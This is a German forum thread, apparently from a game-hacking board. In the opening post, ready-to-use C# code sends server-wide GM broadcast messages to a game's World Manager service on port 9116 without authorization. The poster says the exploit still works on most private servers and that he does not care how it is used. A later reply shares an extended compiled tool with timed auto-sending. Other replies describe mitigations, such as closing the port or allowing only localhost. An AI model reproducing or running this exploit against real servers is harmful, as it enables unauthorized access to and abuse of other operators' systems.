[World Manager Exploit] GM Message

08/07/2013 23:05 Che#1
Hab mich dazu entschlossen ein paar alte Dinge publik zu machen, vielleicht hilft es ja interessierten Nutzern sich weiterzubilden oder desgleichen.

Ich fang mal an mit nem schönen alten Exploit, durch den es 2008~2010 möglich war auf offiziellen Servern unter anderem serverweite Nachrichten (auch bekannt als GM Nachrichten, konnte man damals als GM auch ingame mit &n <Nachricht> senden) ohne Rechte zu haben zu senden. Das Ganze geht noch immer auf fast allen privaten Servern, wobei ich nicht sicher weiß, ob es auch unter den neuen Serverfiles klappt.

Das Ganze wurde als fertiges Tool irgendwann um 2010 mal in nem anderen Board gepostet, wobei ich mir jedoch sicher bin, dass der Quellcode bislang nicht publik wurde.

Ihr tut hier eigentlich nicht mehr als nen Handshake und das Paket mit der Nachricht an den World Manager über Port 9116 senden. N kleiner Hotfix dafür wäre zum Beispiel Port 9116 in der Firewall überhaupt nicht zu öffnen.. den nutzt eh nur das OpTool, welches ohnehin nur lokal ausgeführt werden sollte.

Habs euch mal als C# Klasse kopierpastetenfertig aufbereitet:
Code:
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace GMMessage
{
    class GMMessage
    {
        private Socket sock;
        private byte[] buffer;
        private IPAddress ip;
        private string msg;
        private System.Windows.Forms.TextBox textBox;
       
        public GMMessage(string IP)
        {
            this.ip = IPAddress.Parse(IP);
        }

        ~GMMessage()
        {
            this.sock.Close();
        }

        public void SendMessage(string message)
        {
            this.msg = message;

            IPEndPoint remoteEP = new IPEndPoint(this.ip, 9116); //OPTool => World Manager
            this.sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            this.sock.Connect(remoteEP);
            this.sock.BeginReceive(this.buffer = new byte[1], 0, 1, SocketFlags.None, new AsyncCallback(this.ParseHeader), this.sock);
        }

        private void ParseHeader(IAsyncResult result)
        {
            if (this.sock.EndReceive(result) > 0)
            {
                byte size = this.buffer[0];
                this.sock.BeginReceive(this.buffer = new byte[size], 0, size, SocketFlags.None, new AsyncCallback(this.ParseData), this.sock);
            }
            else
            {
                //failed :'<
                this.sock.Close();
            }
        }

        private void ParseData(IAsyncResult result)
        {
            if (this.sock.EndReceive(result) > 0)
            {
                switch (this.buffer[0])
                {
                    case 1:
                        this.sock.Send(new byte[] { 9, 2, 8, 0, 5, 8, 0, 0, 13, 0 }); //Handshake
                        goto case 2;

                    case 2:
                        this.sock.BeginReceive(this.buffer = new byte[1], 0, 1, SocketFlags.None, new AsyncCallback(this.ParseHeader), this.sock);
                        break;
                    case 3:
                        {
                            using (MemoryStream output = new MemoryStream())
                            {
                                using (BinaryWriter writer = new BinaryWriter(output))
                                {
                                    //Header
                                    writer.Write((byte)(this.msg.Length + 4));
                                    writer.Write((byte)16);
                                    writer.Write((byte)32);
                                    writer.Write((byte)60);
                                    //Body
                                    writer.Write(Encoding.ASCII.GetBytes(this.msg)); //Message
                                    //Footer
                                    writer.Write((byte)0);
                                    
                                    byte[] buffer = new byte[writer.BaseStream.Length];
                                    writer.BaseStream.Position = 0L;
                                    writer.BaseStream.Read(buffer, 0, (int)writer.BaseStream.Length);
                                    this.sock.Send(buffer);
                                    //done
                                }
                            }
                            goto case 2;
                        }
                }
            }
            else
            {
                //failed :'<
                this.sock.Close();
                return;
            }
        }
    }
}
Das Ganze mit toller Klickibunti-GUI als C#-Projekt findet ihr im Anhang. Kompilieren dürft ihr selbst.

Achja, es ist mir absolut egal was ihr damit tut und wo ihr es repostet, aber bitte behauptet nicht das Ganze käme von euch, danke.
08/07/2013 23:32 EpicFight#2
auch gekannt GMShout o.ö
08/07/2013 23:52 Che#3
Quote:
Originally Posted by EpicFight View Post
auch gekannt GMShout o.ö
Unter dem Namen wurde n Tool, welches genau das tut, damals publiziert. Joah.
08/07/2013 23:59 EpicFight#4
Quote:
Originally Posted by Che​ View Post
Unter dem Namen wurde n Tool, welches genau das tut, damals publiziert. Joah.
in den txts kann man es für 127.0.0.1 erlauben ;) und schwubs geht es nur aufm root
02/09/2014 11:59 D0n!#5
Besten Dank hat mir sehr weiter geholfen. :)

Das hab ich nun daraus gemacht:
-Autosend und zugehörige Zeitangabe eingefügt
(Zeitangabe erfolgt in Minuten, beim Start wird direkt
die erste Nachricht gesendet)
-Portangabe eingefügt
-Es werden nur Zahlen in der Port und Timerbox oder
Zahlen und Punkte in der IP Box angenommen
-Fehlermeldung falls Port nicht existiert
-Umlaute werden nun ingame angezeigt

Hier das fertige Programm und nochmal danke an Che
[Only registered and activated users can see links. Click Here To Register...]
Virus Total Link
[Only registered and activated users can see links. Click Here To Register...]
02/09/2014 12:07 хαrvα#6
Ports ändern, und fertig isses! :D
War bei uns auch so, bis ein ganz bestimmter kahm, und einfach die Ports geändert hat.. (y)

Ich will keine Namen nennen, ist mir aber auch egal, war ja unser Fehler.. x: :D
02/09/2014 12:16 D0n!#7
Wieso ports ändern? Habs bei mir getestet, kommt keine Message durch ;)
War nun auch mehr als alternative zum GMShout von csharp gedacht
welcher zwar gut ist aber keine Portänderung zulässt, keine Umlaute kann
und auch erst nach angegebener Zeit die erste Nachricht losschickt.
02/09/2014 12:20 хαrvα#8
Quote:
Originally Posted by D0n! View Post
Wieso ports ändern? Habs bei mir getestet, kommt keine Message durch ;)
War nun auch mehr als alternative zum GMShout von csharp gedacht
welcher zwar gut ist aber keine Portänderung zulässt, keine Umlaute kann
und auch erst nach angegebener Zeit die erste Nachricht losschickt.
Ich mein unser alter Server (Cookie).
Dort ging das noch, und man konnte durch die standart ports connecten.
Dann einfach ports geändert, und es war nichtmehr möglich, außerhalb des Roots eine GMMessage zu senden. :D
02/09/2014 12:27 EpicFight#9
Quote:
Originally Posted by Arva1 View Post
Ich mein unser alter Server (Cookie).
Dort ging das noch, und man konnte durch die standart ports connecten.
Dann einfach ports geändert, und es war nichtmehr möglich, außerhalb des Roots eine GMMessage zu senden. :D
:handsdown: es reicht 127.0.0.1 hin zu machen..
02/09/2014 12:37 хαrvα#10
Quote:
Originally Posted by EpicFight View Post
:handsdown: es reicht 127.0.0.1 hin zu machen..
Darauf bin ich später auch gekommen, ich hab nur an die Ports gedacht, an mehr nicht. :awesome:
02/09/2014 12:42 *Kaito#11
Ist doch logisch...aber naja immerhin ist der funke dann doch übergesprungen. xD
02/09/2014 13:28 D0n!#12
Naja wenn man alle Dienste öffentlich laufen lässt dann ists natürlich nicht verwunderlich xD
Aber aus Fehlern lernt man ja und zum Glück machen wir ja alle noch Fehler :D
02/09/2014 14:07 хαrvα#13
Quote:
Originally Posted by D0n! View Post
Naja wenn man alle Dienste öffentlich laufen lässt dann ists natürlich nicht verwunderlich xD
Aber aus Fehlern lernt man ja und zum Glück machen wir ja alle noch Fehler :D
Nobody's Perfect ~

Mehr gibts dazu nicht zu sagen ^^